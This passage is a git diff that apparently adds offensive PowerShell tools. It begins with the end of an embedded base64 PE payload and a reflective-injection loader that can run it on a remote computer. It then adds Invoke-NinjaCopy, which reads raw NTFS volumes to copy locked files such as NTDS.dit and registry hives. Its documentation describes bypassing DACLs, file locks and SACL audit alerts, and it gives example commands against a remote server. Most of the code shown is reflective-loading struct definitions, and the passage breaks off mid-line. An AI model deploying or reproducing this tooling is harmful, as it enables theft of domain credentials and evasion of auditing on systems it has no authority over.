AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName + } +} + +Main +} diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 new file mode 100644 index 0000000..7ff5bfa --- /dev/null +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -0,0 +1,2848 @@ +function Invoke-NinjaCopy +{ +<# +.SYNOPSIS + +This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you +are an administrator of the server. This allows you to bypass the following protections: + 1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives + 2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue) + 3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file + +If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from). +If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server. + +The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too). +The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written +in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link +to the original script). + +Script: Invoke-NinjaCopy.ps1 +Author: Joe Bialek, Twitter: @JosephBialek +Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 <cyb70289@gmail.com> + See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + The source code is also available with the distribution of this script. +License: GPLv3 or later +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 +ReflectivePEInjection version: 1.1 + +.DESCRIPTION + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's, +read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally +locked, such as the NTDS.dit file or registry hives. + + +.PARAMETER Path + +The full path of the file to copy (example: c:\filedir\file.txt) + +.PARAMETER LocalDestination + +Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified. + +.PARAMETER RemoteDestination + +Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified. + +.PARAMETER BufferSize + +Optional, how many bytes to read at a time from the file. The default is 5MB. + +PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's +your job to figure out what "too high" is for your situation. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + + +.EXAMPLE + +Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server +$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit" + +.EXAMPLE + +Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1" + +.EXAMPLE + +Read the file ntds.dit from the local server and copy it to the temp directory on the local server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit" + + +.NOTES +This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source. +This is a PowerShell script which can reflectively load EXE's/DLL's. + +The second program is NTFS parsing code written in C++ by cyb70289 <cyb70289@gmail.com> and posted to CodeProject. I have compiled this +code as a DLL so it can be reflectively loaded by the PowerShell script. +The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +#> + +[CmdletBinding()] +Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 1, ParameterSetName="RemoteDest")] + [String] + $RemoteDestination, + + [Parameter(Position = 1, ParameterSetName="LocalDest")] + [String] + $LocalDestination, + + [Parameter(Position = 2)] + [String[]] + $ComputerName, + + [Parameter(Position = 3)] + [UInt32] + $BufferSize = 5 * 1024 * 1024 +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 2, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 3)] + [String] + $RemoteDestination, + + [Parameter(Position = 4)] + [UInt32] + $BufferSize, + + [Parameter(Position = 5)] + [UInt64] + $FileOffset + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', 